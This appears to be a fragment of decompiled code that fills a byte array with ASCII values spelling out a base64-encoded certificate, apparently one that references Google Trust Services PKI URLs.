asc_10028FD00[263] = 78;
asc_10028FD00[264] = 87;
asc_10028FD00[265] = 119;
asc_10028FD00[266] = 100;
asc_10028FD00[267] = 85;
asc_10028FD00[268] = 57;
asc_10028FD00[269] = 121;
asc_10028FD00[270] = 80;
asc_10028FD00[271] = 106;
asc_10028FD00[272] = 68;
asc_10028FD00[273] = 114;
asc_10028FD00[274] = 55;
asc_10028FD00[275] = 53;
asc_10028FD00[276] = 118;
asc_10028FD00[277] = 74;
asc_10028FD00[278] = 111;
asc_10028FD00[279] = 116;
asc_10028FD00[280] = 48;
asc_10028FD00[281] = 105;
asc_10028FD00[282] = 84;
asc_10028FD00[283] = 69;
asc_10028FD00[284] = 70;
asc_10028FD00[285] = 68;
asc_10028FD00[286] = 81;
asc_10028FD00[287] = 113;
asc_10028FD00[288] = 99;
asc_10028FD00[289] = 111;
asc_10028FD00[290] = 75;
asc_10028FD00[291] = 103;
asc_10028FD00[292] = 99;
asc_10028FD00[293] = 112;
asc_10028FD00[294] = 114;
asc_10028FD00[295] = 109;
asc_10028FD00[296] = 114;
asc_10028FD00[297] = 80;
asc_10028FD00[298] = 76;
asc_10028FD00[299] = 50;
asc_10028FD00[300] = 51;
asc_10028FD00[301] = 101;
asc_10028FD00[302] = 49;
asc_10028FD00[303] = 85;
asc_10028FD00[304] = 66;
asc_10028FD00[305] = 106;
asc_10028FD00[306] = 67;
asc_10028FD00[307] = 105;
asc_10028FD00[308] = 111;
asc_10028FD00[309] = 88;
asc_10028FD00[310] = 80;
asc_10028FD00[311] = 70;
asc_10028FD00[312] = 77;
asc_10028FD00[313] = 68;
asc_10028FD00[314] = 69;
asc_10028FD00[315] = 101;
asc_10028FD00[316] = 79;
asc_10028FD00[317] = 56;
asc_10028FD00[318] = 81;
asc_10028FD00[319] = 117;
asc_10028FD00[320] = 73;
asc_10028FD00[321] = 69;
asc_10028FD00[322] = 110;
asc_10028FD00[323] = 97;
asc_10028FD00[324] = 71;
asc_10028FD00[325] = 76;
asc_10028FD00[326] = 118;
asc_10028FD00[327] = 121;
asc_10028FD00[328] = 110;
asc_10028FD00[329] = 52;
asc_10028FD00[330] = 111;
asc_10028FD00[331] = 85;
asc_10028FD00[332] = 105;
asc_10028FD00[333] = 68;
asc_10028FD00[334] = 101;
asc_10028FD00[335] = 118;
asc_10028FD00[336] = 72;
asc_10028FD00[337] = 80;
asc_10028FD00[338] = 89;
asc_10028FD00[339] = 106;
asc_10028FD00[340] = 53;
asc_10028FD00[341] = 108;
asc_10028FD00[342] = 77;
asc_10028FD00[343] = 105;
asc_10028FD00[344] = 99;
asc_10028FD00[345] = 52;
asc_10028FD00[346] = 75;
asc_10028FD00[347] = 106;
asc_10028FD00[348] = 103;
asc_10028FD00[349] = 103;
asc_10028FD00[350] = 74;
asc_10028FD00[351] = 108;
asc_10028FD00[352] = 77;
asc_10028FD00[353] = 73;
asc_10028FD00[354] = 73;
asc_10028FD00[355] = 67;
asc_10028FD00[356] = 89;
asc_10028FD00[357] = 84;
asc_10028FD00[358] = 65;
asc_10028FD00[359] = 79;
asc_10028FD00[360] = 66;
asc_10028FD00[361] = 103;
asc_10028FD00[362] = 78;
asc_10028FD00[363] = 86;
asc_10028FD00[364] = 72;
asc_10028FD00[365] = 81;
asc_10028FD00[366] = 56;
asc_10028FD00[367] = 66;
asc_10028FD00[368] = 65;
asc_10028FD00[369] = 102;
asc_10028FD00[370] = 56;
asc_10028FD00[371] = 69;
asc_10028FD00[372] = 66;
asc_10028FD00[373] = 65;
asc_10028FD00[374] = 77;
asc_10028FD00[375] = 67;
asc_10028FD00[376] = 66;
asc_10028FD00[377] = 52;
asc_10028FD00[378] = 65;
asc_10028FD00[379] = 119;
asc_10028FD00[380] = 69;
asc_10028FD00[381] = 119;
asc_10028FD00[382] = 89;
asc_10028FD00[383] = 68;
asc_10028FD00[384] = 86;
asc_10028FD00[385] = 82;
asc_10028FD00[386] = 48;
asc_10028FD00[387] = 108;
asc_10028FD00[388] = 66;
asc_10028FD00[389] = 65;
asc_10028FD00[390] = 119;
asc_10028FD00[391] = 119;
asc_10028FD00[392] = 67;
asc_10028FD00[393] = 103;
asc_10028FD00[394] = 89;
asc_10028FD00[395] = 73;
asc_10028FD00[396] = 75;
asc_10028FD00[397] = 119;
asc_10028FD00[398] = 89;
asc_10028FD00[399] = 66;
asc_10028FD00[400] = 66;
asc_10028FD00[401] = 81;
asc_10028FD00[402] = 85;
asc_10028FD00[403] = 72;
asc_10028FD00[404] = 65;
asc_10028FD00[405] = 119;
asc_10028FD00[406] = 69;
asc_10028FD00[407] = 119;
asc_10028FD00[408] = 68;
asc_10028FD00[409] = 65;
asc_10028FD00[410] = 89;
asc_10028FD00[411] = 68;
asc_10028FD00[412] = 86;
asc_10028FD00[413] = 82;
asc_10028FD00[414] = 48;
asc_10028FD00[415] = 84;
asc_10028FD00[416] = 65;
asc_10028FD00[417] = 81;
asc_10028FD00[418] = 72;
asc_10028FD00[419] = 47;
asc_10028FD00[420] = 66;
asc_10028FD00[421] = 65;
asc_10028FD00[422] = 73;
asc_10028FD00[423] = 119;
asc_10028FD00[424] = 65;
asc_10028FD00[425] = 68;
asc_10028FD00[426] = 65;
asc_10028FD00[427] = 100;
asc_10028FD00[428] = 66;
asc_10028FD00[429] = 103;
asc_10028FD00[430] = 78;
asc_10028FD00[431] = 86;
asc_10028FD00[432] = 72;
asc_10028FD00[433] = 81;
asc_10028FD00[434] = 52;
asc_10028FD00[435] = 69;
asc_10028FD00[436] = 70;
asc_10028FD00[437] = 103;
asc_10028FD00[438] = 81;
asc_10028FD00[439] = 85;
asc_10028FD00[440] = 83;
asc_10028FD00[441] = 118;
asc_10028FD00[442] = 112;
asc_10028FD00[443] = 121;
asc_10028FD00[444] = 65;
asc_10028FD00[445] = 104;
asc_10028FD00[446] = 77;
asc_10028FD00[447] = 51;
asc_10028FD00[448] = 55;
asc_10028FD00[449] = 81;
asc_10028FD00[450] = 117;
asc_10028FD00[451] = 106;
asc_10028FD00[452] = 54;
asc_10028FD00[453] = 106;
asc_10028FD00[454] = 101;
asc_10028FD00[455] = 69;
asc_10028FD00[456] = 67;
asc_10028FD00[457] = 110;
asc_10028FD00[458] = 101;
asc_10028FD00[459] = 118;
asc_10028FD00[460] = 114;
asc_10028FD00[461] = 103;
asc_10028FD00[462] = 67;
asc_10028FD00[463] = 74;
asc_10028FD00[464] = 83;
asc_10028FD00[465] = 121;
asc_10028FD00[466] = 89;
asc_10028FD00[467] = 119;
asc_10028FD00[468] = 72;
asc_10028FD00[469] = 119;
asc_10028FD00[470] = 89;
asc_10028FD00[471] = 68;
asc_10028FD00[472] = 86;
asc_10028FD00[473] = 82;
asc_10028FD00[474] = 48;
asc_10028FD00[475] = 106;
asc_10028FD00[476] = 66;
asc_10028FD00[477] = 66;
asc_10028FD00[478] = 103;
asc_10028FD00[479] = 119;
asc_10028FD00[480] = 70;
asc_10028FD00[481] = 111;
asc_10028FD00[482] = 65;
asc_10028FD00[483] = 85;
asc_10028FD00[484] = 107;
asc_10028FD00[485] = 72;
asc_10028FD00[486] = 101;
asc_10028FD00[487] = 83;
asc_10028FD00[488] = 78;
asc_10028FD00[489] = 87;
asc_10028FD00[490] = 102;
asc_10028FD00[491] = 69;
asc_10028FD00[492] = 47;
asc_10028FD00[493] = 54;
asc_10028FD00[494] = 106;
asc_10028FD00[495] = 77;
asc_10028FD00[496] = 113;
asc_10028FD00[497] = 101;
asc_10028FD00[498] = 90;
asc_10028FD00[499] = 55;
asc_10028FD00[500] = 50;
asc_10028FD00[501] = 89;
asc_10028FD00[502] = 66;
asc_10028FD00[503] = 53;
asc_10028FD00[504] = 101;
asc_10028FD00[505] = 56;
asc_10028FD00[506] = 121;
asc_10028FD00[507] = 84;
asc_10028FD00[508] = 43;
asc_10028FD00[509] = 84;
asc_10028FD00[510] = 103;
asc_10028FD00[511] = 119;
asc_10028FD00[512] = 88;
asc_10028FD00[513] = 103;
asc_10028FD00[514] = 89;
asc_10028FD00[515] = 73;
asc_10028FD00[516] = 75;
asc_10028FD00[517] = 119;
asc_10028FD00[518] = 89;
asc_10028FD00[519] = 66;
asc_10028FD00[520] = 66;
asc_10028FD00[521] = 81;
asc_10028FD00[522] = 85;
asc_10028FD00[523] = 72;
asc_10028FD00[524] = 65;
asc_10028FD00[525] = 81;
asc_10028FD00[526] = 69;
asc_10028FD00[527] = 69;
asc_10028FD00[528] = 85;
asc_10028FD00[529] = 106;
asc_10028FD00[530] = 66;
asc_10028FD00[531] = 81;
asc_10028FD00[532] = 77;
asc_10028FD00[533] = 67;
asc_10028FD00[534] = 99;
asc_10028FD00[535] = 71;
asc_10028FD00[536] = 67;
asc_10028FD00[537] = 67;
asc_10028FD00[538] = 115;
asc_10028FD00[539] = 71;
asc_10028FD00[540] = 65;
asc_10028FD00[541] = 81;
asc_10028FD00[542] = 85;
asc_10028FD00[543] = 70;
asc_10028FD00[544] = 66;
asc_10028FD00[545] = 122;
asc_10028FD00[546] = 65;
asc_10028FD00[547] = 66;
asc_10028FD00[548] = 104;
asc_10028FD00[549] = 104;
asc_10028FD00[550] = 116;
asc_10028FD00[551] = 111;
asc_10028FD00[552] = 100;
asc_10028FD00[553] = 72;
asc_10028FD00[554] = 82;
asc_10028FD00[555] = 119;
asc_10028FD00[556] = 79;
asc_10028FD00[557] = 105;
asc_10028FD00[558] = 56;
asc_10028FD00[559] = 118;
asc_10028FD00[560] = 98;
asc_10028FD00[561] = 121;
asc_10028FD00[562] = 53;
asc_10028FD00[563] = 119;
asc_10028FD00[564] = 97;
asc_10028FD00[565] = 50;
asc_10028FD00[566] = 107;
asc_10028FD00[567] = 117;
asc_10028FD00[568] = 90;
asc_10028FD00[569] = 50;
asc_10028FD00[570] = 57;
asc_10028FD00[571] = 118;
asc_10028FD00[572] = 90;
asc_10028FD00[573] = 121;
asc_10028FD00[574] = 57;
asc_10028FD00[575] = 122;
asc_10028FD00[576] = 76;
asc_10028FD00[577] = 51;
asc_10028FD00[578] = 100;
asc_10028FD00[579] = 108;
asc_10028FD00[580] = 77;
asc_10028FD00[581] = 83;
asc_10028FD00[582] = 57;
asc_10028FD00[583] = 84;
asc_10028FD00[584] = 83;
asc_10028FD00[585] = 106;
asc_10028FD00[586] = 81;
asc_10028FD00[587] = 119;
asc_10028FD00[588] = 74;
asc_10028FD00[589] = 81;
asc_10028FD00[590] = 89;
asc_10028FD00[591] = 73;
asc_10028FD00[592] = 75;
asc_10028FD00[593] = 119;
asc_10028FD00[594] = 89;
asc_10028FD00[595] = 66;
asc_10028FD00[596] = 66;
asc_10028FD00[597] = 81;
asc_10028FD00[598] = 85;
asc_10028FD00[599] = 72;
asc_10028FD00[600] = 77;
asc_10028FD00[601] = 65;
asc_10028FD00[602] = 75;
asc_10028FD00[603] = 71;
asc_10028FD00[604] = 71;
asc_10028FD00[605] = 87;
asc_10028FD00[606] = 104;
asc_10028FD00[607] = 48;
asc_10028FD00[608] = 100;
asc_10028FD00[609] = 72;
asc_10028FD00[610] = 65;
asc_10028FD00[611] = 54;
asc_10028FD00[612] = 76;
asc_10028FD00[613] = 121;
asc_10028FD00[614] = 57;
asc_10028FD00[615] = 112;
asc_10028FD00[616] = 76;
asc_10028FD00[617] = 110;
asc_10028FD00[618] = 66;
asc_10028FD00[619] = 114;
asc_10028FD00[620] = 97;
asc_10028FD00[621] = 83;
asc_10028FD00[622] = 53;
asc_10028FD00[623] = 110;
asc_10028FD00[624] = 98;
asc_10028FD00[625] = 50;
asc_10028FD00[626] = 57;
asc_10028FD00[627] = 110;
asc_10028FD00[628] = 76;
asc_10028FD00[629] = 51;
asc_10028FD00[630] = 100;
asc_10028FD00[631] = 108;
asc_10028FD00[632] = 77;
asc_10028FD00[633] = 83;
asc_10028FD00[634] = 53;
asc_10028FD00[635] = 106;
asc_10028FD00[636] = 99;
asc_10028FD00[637] = 110;
asc_10028FD00[638] = 81;
asc_10028FD00[639] = 119;
asc_10028FD00[640] = 78;
asc_10028FD00[641] = 119;
asc_10028FD00[642] = 89;
asc_10028FD00[643] = 68;
asc_10028FD00[644] = 86;
asc_10028FD00[645] = 82;
asc_10028FD00[646] = 48;
asc_10028FD00[647] = 82;
asc_10028FD00[648] = 66;
asc_10028FD00[649] = 68;
asc_10028FD00[650] = 65;
asc_10028FD00[651] = 119;
asc_10028FD00[652] = 76;
asc_10028FD00[653] = 111;
asc_10028FD00[654] = 73;
asc_10028FD00[655] = 85;
asc_10028FD00[656] = 97;
asc_10028FD00[657] = 87;
asc_10028FD00[658] = 70;
asc_10028FD00[659] = 115;
asc_10028FD00[660] = 90;
asc_10028FD00[661] = 71;
asc_10028FD00[662] = 70;
asc_10028FD00[663] = 54;
asc_10028FD00[664] = 76;
asc_10028FD00[665] = 87;
asc_10028FD00[666] = 70;
asc_10028FD00[667] = 106;
asc_10028FD00[668] = 100;
asc_10028FD00[669] = 71;
asc_10028FD00[670] = 108;
asc_10028FD00[671] = 50;
asc_10028FD00[672] = 89;
asc_10028FD00[673] = 88;
asc_10028FD00[674] = 82;
asc_10028FD00[675] = 118;
asc_10028FD00[676] = 99;
asc_10028FD00[677] = 105;
asc_10028FD00[678] = 53;
asc_10028FD00[679] = 106;
asc_10028FD00[680] = 98;
asc_10028FD00[681] = 50;
asc_10028FD00[682] = 50;
asc_10028FD00[683] = 67;
asc_10028FD00[684] = 70;
asc_10028FD00[685] = 105;
asc_10028FD00[686] = 111;
asc_10028FD00[687] = 117;
asc_10028FD00[688] = 97;
asc_10028FD00[689] = 87;
asc_10028FD00[690] = 70;
asc_10028FD00[691] = 115;
asc_10028FD00[692] = 90;
asc_10028FD00[693] = 71;
asc_10028FD00[694] = 70;
asc_10028FD00[695] = 54;
asc_10028FD00[696] = 76;
asc_10028FD00[697] = 87;
asc_10028FD00[698] = 70;
asc_10028FD00[699] = 106;
asc_10028FD00[700] = 100;
asc_10028FD00[701] = 71;
asc_10028FD00[702] = 108;
asc_10028FD00[703] = 50;
asc_10028FD00[704] = 89;
asc_10028FD00[705] = 88;
asc_10028FD00[706] = 82;
asc_10028FD00[707] = 118;
asc_10028FD00[708] = 99;
asc_10028FD00[709] = 105;
asc_10028FD00[710] = 53;
asc_10028FD00[711] = 106;
asc_10028FD00[712] = 98;
asc_10028FD00[713] = 50;
asc_10028FD00[714] = 48;
asc_10028FD00[715] = 119;
asc_10028FD00[716] = 69;
asc_10028FD00[717] = 119;
asc_10028FD00[718] = 89;
asc_10028FD00[719] = 68;
asc_10028FD00[720] = 86;
asc_10028FD00[721] = 82;
asc_10028FD00[722] = 48;
asc_10028FD00[723] = 103;
asc_10028FD00[724] = 66;
asc_10028FD00[725] = 65;
asc_10028FD00[726] = 119;
asc_10028FD00[727] = 119;
asc_10028FD00[728] = 67;
asc_10028FD00[729] = 106;
asc_10028FD00[730] = 65;
asc_10028FD00[731] = 73;
asc_10028FD00[732] = 66;
asc_10028FD00[733] = 103;
asc_10028FD00[734] = 90;
asc_10028FD00[735] = 110;
asc_10028FD00[736] = 103;
asc_10028FD00[737] = 81;
asc_10028FD00[738] = 119;
asc_10028FD00[739] = 66;
asc_10028FD00[740] = 65;
asc_10028FD00[741] = 103;
asc_10028FD00[742] = 69;
asc_10028FD00[743] = 119;
asc_10028FD00[744] = 78;
asc_10028FD00[745] = 103;
asc_10028FD00[746] = 89;
asc_10028FD00[747] = 68;
asc_10028FD00[748] = 86;
asc_10028FD00[749] = 82;
asc_10028FD00[750] = 48;
asc_10028FD00[751] = 102;
asc_10028FD00[752] = 66;
asc_10028FD00[753] = 67;
asc_10028FD00[754] = 56;
asc_10028FD00[755] = 119;
asc_10028FD00[756] = 76;
asc_10028FD00[757] = 84;
asc_10028FD00[758] = 65;
asc_10028FD00[759] = 114;
asc_10028FD00[760] = 111;
asc_10028FD00[761] = 67;
asc_10028FD00[762] = 109;
asc_10028FD00[763] = 103;
asc_10028FD00[764] = 74;
asc_10028FD00[765] = 52;
asc_10028FD00[766] = 89;
asc_10028FD00[767] = 108;
asc_10028FD00[768] = 97;
asc_10028FD00[769] = 72;
asc_10028FD00[770] = 82;
asc_10028FD00[771] = 48;
asc_10028FD00[772] = 99;
asc_10028FD00[773] = 68;
asc_10028FD00[774] = 111;
asc_10028FD00[775] = 118;
asc_10028FD00[776] = 76;
asc_10028FD00[777] = 50;
asc_10028FD00[778] = 77;
asc_10028FD00[779] = 117;
asc_10028FD00[780] = 99;
asc_10028FD00[781] = 71;
asc_10028FD00[782] = 116;
asc_10028FD00[783] = 112;
asc_10028FD00[784] = 76;
asc_10028FD00[785] = 109;
asc_10028FD00[786] = 100;
asc_10028FD00[787] = 118;
asc_10028FD00[788] = 98;
asc_10028FD00[789] = 50;
asc_10028FD00[790] = 99;
asc_10028FD00[791] = 118;
asc_10028FD00[792] = 100;
asc_10028FD00[793] = 50;
asc_10028FD00[794] = 85;
asc_10028FD00[795] = 120;
asc_10028FD00[796] = 76;
asc_10028FD00[797] = 50;
asc_10028FD00[798] = 77;
asc_10028FD00[799] = 53;
asc_10028FD00[800] = 90;
asc_10028FD00[801] = 87;
asc_10028FD00[802] = 100;
asc_10028FD00[803] = 90;
asc_10028FD00[804] = 79;
asc_10028FD00[805] = 87;
asc_10028FD00[806] = 108;
asc_10028FD00[807] = 114;
asc_10028FD00[808] = 85;
asc_10028FD00[809] = 72;
asc_10028FD00[810] = 78;
asc_10028FD00[811] = 86;
asc_10028FD00[812] = 76;
asc_10028FD00[813] = 109;
asc_10028FD00[814] = 78;
asc_10028FD00[815] = 121;
asc_10028FD00[816] = 98;
asc_10028FD00[817] = 68;
asc_10028FD00[818] = 67;
asc_10028FD00[819] = 67;
asc_10028FD00[820] = 65;
asc_10028FD00[821] = 81;
asc_10028FD00[822] = 81;
asc_10028FD00[823] = 71;
asc_10028FD00[824] = 67;
asc_10028FD00[825] = 105;
asc_10028FD00[826] = 115;
asc_10028FD00[827] = 71;
asc_10028FD00[828] = 65;
asc_10028FD00[829] = 81;
asc_10028FD00[830] = 81;
asc_10028FD00[831] = 66;
asc_10028FD00[832] = 49;
asc_10028FD00[833] = 110;
asc_10028FD00[834] = 107;
asc_10028FD00[835] = 67;
asc_10028FD00[836] = 66;
asc_10028FD00[837] = 65;
asc_10028FD00[838] = 73;
asc_10028FD00[839] = 69;
asc_10028FD00[840] = 103;
asc_10028FD00[841] = 102;
asc_10028FD00[842] = 85;
asc_10028FD00[843] = 69;
asc_10028FD00[844] = 103;
asc_10028FD00[845] = 102;
asc_10028FD00[846] = 73;
asc_10028FD00[847] = 65;
asc_10028FD00[848] = 56;
asc_10028FD00[849] = 65;
asc_10028FD00[850] = 66;
asc_10028FD00[851] = 50;
asc_10028FD00[852] = 65;
asc_10028FD00[853] = 74;
asc_10028FD00[854] = 97;
asc_10028FD00[855] = 88;
asc_10028FD00[856] = 90;
asc_10028FD00[857] = 76;
asc_10028FD00[858] = 57;
asc_10028FD00[859] = 86;
asc_10028FD00[860] = 87;
asc_10028FD00[861] = 74;
asc_10028FD00[862] = 101;
asc_10028FD00[863] = 116;
asc_10028FD00[864] = 57;
asc_10028FD00[865] = 48;
asc_10028FD00[866] = 79;
asc_10028FD00[867] = 72;
asc_10028FD00[868] = 97;
asc_10028FD00[869] = 68;
asc_10028FD00[870] = 99;
asc_10028FD00[871] = 73;
asc_10028FD00[872] = 81;
asc_10028FD00[873] = 110;
asc_10028FD00[874] = 102;
asc_10028FD00[875] = 112;
asc_10028FD00[876] = 56;
asc_10028FD00[877] = 68;
asc_10028FD00[878] = 114;
asc_10028FD00[879] = 86;
asc_10028FD00[880] = 57;
asc_10028FD00[881] = 113;
asc_10028FD00[882] = 84;
asc_10028FD00[883] = 122;
asc_10028FD00[884] = 78;
asc_10028FD00[885] = 109;
asc_10028FD00[886] = 53;
asc_10028FD00[887] = 71;
asc_10028FD00[888] = 112;
asc_10028FD00[889] = 68;
asc_10028FD00[890] = 56;
asc_10028FD00[891] = 80;
asc_10028FD00[892] = 121;
asc_10028FD00[893] = 113;
asc_10028FD00[894] = 110;
asc_10028FD00[895] = 71;
asc_10028FD00[896] = 65;
asc_10028FD00[897] = 65;
asc_10028FD00[898] = 65;
asc_10028FD00[899] = 66;
asc_10028FD00[900] = 109;
asc_10028FD00[901] = 110;
asc_10028FD00[902] = 77;
asc_10028FD00[903] = 81;
asc_10028FD00[904] = 115;
asc_10028FD00[905] = 47;
asc_10028FD00[906] = 81;
asc_10028FD00[907] = 65;
asc_10028FD00[908] = 65;
asc_10028FD00[909] = 65;
asc_10028FD00[910] = 81;
asc_10028FD00[911] = 68;
asc_10028FD00[912] = 65;
asc_10028FD00[913] = 69;
asc_10028FD00[914] = 99;
asc_10028FD00[915] = 119;
asc_10028FD00[916] = 82;
asc_10028FD00[917] = 81;
asc_10028FD00[918] = 73;
asc_10028FD00[919] = 104;
asc_10028FD00[920] = 65;
asc_10028FD00[921] = 77;
asc_10028FD00[922] = 57;
asc_10028FD00[923] = 70;
asc_10028FD00[924] = 100;
asc_10028FD00[925] = 75;
asc_10028FD00[926] = 99;
asc_10028FD00[927] = 89;
asc_10028FD00[928] = 104;
asc_10028FD00[929] = 104;
asc_10028FD00[930] = 49;
asc_10028FD00[931] = 112;
asc_10028FD00[932] = 68;
asc_10028FD00[933] = 69;
asc_10028FD00[934] = 52;
asc_10028FD00[935] = 79;
asc_10028FD00[936] = 75;
asc_10028FD00[937] = 76;
asc_10028FD00[938] = 54;
asc_10028FD00[939] = 113;
asc_10028FD00[940] = 86;
asc_10028FD00[941] = 54;
asc_10028FD00[942] = 85;
asc_10028FD00[943] = 105;
asc_10028FD00[944] = 120;
asc_10028FD00[945] = 56;
asc_10028FD00[946] = 111;
asc_10028FD00[947] = 68;
asc_10028FD00[948] = 104;
asc_10028FD00[949] = 73;
asc_10028FD00[950] = 82;
asc_10028FD00[951] = 69;
asc_10028FD00[952] = 76;
asc_10028FD00[953] = 67;
asc_10028FD00[954] = 102;
asc_10028FD00[955] = 75;
asc_10028FD00[956] = 101;
asc_10028FD00[957] = 79;
asc_10028FD00[958] = 111;
asc_10028FD00[959] = 122;
asc_10028FD00[960] = 121;
asc_10028FD00[961] = 117;
asc_10028FD00[962] = 99;
asc_10028FD00[963] = 54;
asc_10028FD00[964] = 65;
asc_10028FD00[965] = 105;
asc_10028FD00[966] = 66;
asc_10028FD00[967] = 67;
asc_10028FD00[968] = 90;
asc_10028FD00[969] = 48;
asc_10028FD00[970] = 109;
asc_10028FD00[971] = 71;
asc_10028FD00[972] = 48;
asc_10028FD00[973] = 49;
asc_10028FD00[974] = 103;
asc_10028FD00[975] = 57;
asc_10028FD00[976] = 112;
asc_10028FD00[977] = 76;
asc_10028FD00[978] = 47;
asc_10028FD00[979] = 55;
asc_10028FD00[980] = 114;
asc_10028FD00[981] = 80;
asc_10028FD00[982] = 102;
asc_10028FD00[983] = 77;
asc_10028FD00[984] = 87;
asc_10028FD00[985] = 48;
asc_10028FD00[986] = 66;
asc_10028FD00[987] = 70;
asc_10028FD00[988] = 85;
asc_10028FD00[989] = 80;
asc_10028FD00[990] = 57;
asc_10028FD00[991] = 97;
asc_10028FD00[992] = 102;
asc_10028FD00[993] = 83;
asc_10028FD00[994] = 57;
asc_10028FD00[995] = 80;
asc_10028FD00[996] = 84;
asc_10028FD00[997] = 84;
asc_10028FD00[998] = 112;
asc_10028FD00[999] = 65;
asc_10028FD00[1000] = 99;
asc_10028FD00[1001] = 89;
asc_10028FD00[1002] = 43;
asc_10028FD00[1003] = 84;
asc_10028FD00[1004] = 116;
asc_10028FD00[1005] = 71;
asc_10028FD00[1006] = 100;
asc_10028FD00[1007] = 76;
asc_10028FD00[1008] = 118;
asc_10028FD00[1009] = 65;
asc_10028FD00[1010] = 66;
asc_10028FD00[1011] = 50;
asc_10028FD00[1012] = 65;
asc_10028FD00[1013] = 66;
asc_10028FD00[1014] = 109;
asc_10028FD00[1015] = 71;
asc_10028FD00[1016] = 49;
asc_10028FD00[1017] = 77;
asc_10028FD00[1018] = 99;
asc_10028FD00[1019] = 111;
asc_10028FD00[1020] = 113;
asc_10028FD00[1021] = 109;
asc_10028FD00[1022] = 47;
asc_10028FD00[1023] = 43;
asc_10028FD00[1024] = 117;
asc_10028FD00[1025] = 103;
asc_10028FD00[1026] = 78;
asc_10028FD00[1027] = 118;
asc_10028FD00[1028] = 101;
asc_10028FD00[1029] = 67;
asc_10028FD00[1030] = 112;
asc_10028FD00[1031] = 78;
asc_10028FD00[1032] = 65;
asc_10028FD00[1033] = 90;
asc_10028FD00[1034] = 71;
asc_10028FD00[1035] = 113;
asc_10028FD00[1036] = 122;
asc_10028FD00[1037] = 105;
asc_10028FD00[1038] = 49;
asc_10028FD00[1039] = 121;
asc_10028FD00[1040] = 77;
asc_10028FD00[1041] = 81;
asc_10028FD00[1042] = 43;
asc_10028FD00[1043] = 117;
asc_10028FD00[1044] = 122;
asc_10028FD00[1045] = 108;
asc_10028FD00[1046] = 49;
asc_10028FD00[1047] = 119;
asc_10028FD00[1048] = 81;
asc_10028FD00[1049] = 83;
asc_10028FD00[1050] = 48;
asc_10028FD00[1051] = 108;
asc_10028FD00[1052] = 84;
asc_10028FD00[1053] = 77;
asc_10028FD00[1054] = 102;
asc_10028FD00[1055] = 85;
asc_10028FD00[1056] = 65;
asc_10028FD00[1057] = 65;
asc_10028FD00[1058] = 65;
asc_10028FD00[1059] = 66;
asc_10028FD00[1060] = 109;
asc_10028FD00[1061] = 110;
asc_10028FD00[1062] = 77;
asc_10028FD00[1063] = 81;
asc_10028FD00[1064] = 115;
asc_10028FD00[1065] = 56;
asc_10028FD00[1066] = 56;
asc_10028FD00[1067] = 65;
asc_10028FD00[1068] = 65;
asc_10028FD00[1069] = 65;
asc_10028FD00[1070] = 81;
asc_10028FD00[1071] = 68;
asc_10028FD00[1072] = 65;
asc_10028FD00[1073] = 69;
asc_10028FD00[1074] = 99;
asc_10028FD00[1075] = 119;
asc_10028FD00[1076] = 82;
asc_10028FD00[1077] = 81;
asc_10028FD00[1078] = 73;
asc_10028FD00[1079] = 103;
asc_10028FD00[1080] = 70;
asc_10028FD00[1081] = 110;
asc_10028FD00[1082] = 66;
asc_10028FD00[1083] = 50;
asc_10028FD00[1084] = 70;
asc_10028FD00[1085] = 66;
asc_10028FD00[1086] = 71;
asc_10028FD00[1087] = 120;
asc_10028FD00[1088] = 79;
asc_10028FD00[1089] = 117;
asc_10028FD00[1090] = 90;
asc_10028FD00[1091] = 48;
asc_10028FD00[1092] = 73;
asc_10028FD00[1093] = 112;
asc_10028FD00[1094] = 80;
asc_10028FD00[1095] = 98;
asc_10028FD00[1096] = 118;
asc_10028FD00[1097] = 103;
asc_10028FD00[1098] = 88;
asc_10028FD00[1099] = 97;
asc_10028FD00[1100] = 85;
asc_10028FD00[1101] = 106;
asc_10028FD00[1102] = 122;
asc_10028FD00[1103] = 70;
asc_10028FD00[1104] = 53;
asc_10028FD00[1105] = 114;
asc_10028FD00[1106] = 102;
asc_10028FD00[1107] = 77;
asc_10028FD00[1108] = 77;
asc_10028FD00[1109] = 75;
asc_10028FD00[1110] = 114;
asc_10028FD00[1111] = 112;
asc_10028FD00[1112] = 111;
asc_10028FD00[1113] = 85;
asc_10028FD00[1114] = 118;
asc_10028FD00[1115] = 120;
asc_10028FD00[1116] = 82;
asc_10028FD00[1117] = 98;
asc_10028FD00[1118] = 112;
asc_10028FD00[1119] = 88;
asc_10028FD00[1120] = 104;
asc_10028FD00[1121] = 86;
asc_10028FD00[1122] = 81;
asc_10028FD00[1123] = 67;
asc_10028FD00[1124] = 73;
asc_10028FD00[1125] = 81;
asc_10028FD00[1126] = 68;
asc_10028FD00[1127] = 53;
asc_10028FD00[1128] = 85;
asc_10028FD00[1129] = 122;
asc_10028FD00[1130] = 122;
asc_10028FD00[1131] = 89;
asc_10028FD00[1132] = 111;
asc_10028FD00[1133] = 54;
asc_10028FD00[1134] = 97;
asc_10028FD00[1135] = 85;
asc_10028FD00[1136] = 51;
asc_10028FD00[1137] = 102;
asc_10028FD00[1138] = 78;
asc_10028FD00[1139] = 70;
asc_10028FD00[1140] = 106;
asc_10028FD00[1141] = 102;
asc_10028FD00[1142] = 116;
asc_10028FD00[1143] = 111;
asc_10028FD00[1144] = 85;
asc_10028FD00[1145] = 74;
asc_10028FD00[1146] = 118;
asc_10028FD00[1147] = 103;
asc_10028FD00[1148] = 71;
asc_10028FD00[1149] = 77;
asc_10028FD00[1150] = 68;
asc_10028FD00[1151] = 54;
asc_10028FD00[1152] = 82;
asc_10028FD00[1153] = 85;
asc_10028FD00[1154] = 107;
asc_10028FD00[1155] = 78;
asc_10028FD00[1156] = 107;
asc_10028FD00[1157] = 98;
asc_10028FD00[1158] = 81;
asc_10028FD00[1159] = 81;
asc_10028FD00[1160] = 49;
asc_10028FD00[1161] = 105;
asc_10028FD00[1162] = 81;
asc_10028FD00[1163] = 79;
asc_10028FD00[1164] = 76;
asc_10028FD00[1165] = 90;
asc_10028FD00[1166] = 112;
asc_10028FD00[1167] = 104;
asc_10028FD00[1168] = 55;
asc_10028FD00[1169] = 122;
asc_10028FD00[1170] = 65;
asc_10028FD00[1171] = 75;
asc_10028FD00[1172] = 66;
asc_10028FD00[1173] = 103;
asc_10028FD00[1174] = 103;
asc_10028FD00[1175] = 113;
asc_10028FD00[1176] = 104;
asc_10028FD00[1177] = 107;
asc_10028FD00[1178] = 106;
asc_10028FD00[1179] = 79;
asc_10028FD00[1180] = 80;
asc_10028FD00[1181] = 81;
asc_10028FD00[1182] = 81;
asc_10028FD00[1183] = 68;
asc_10028FD00[1184] = 65;
asc_10028FD00[1185] = 103;
asc_10028FD00[1186] = 78;
asc_10028FD00[1187] = 74;
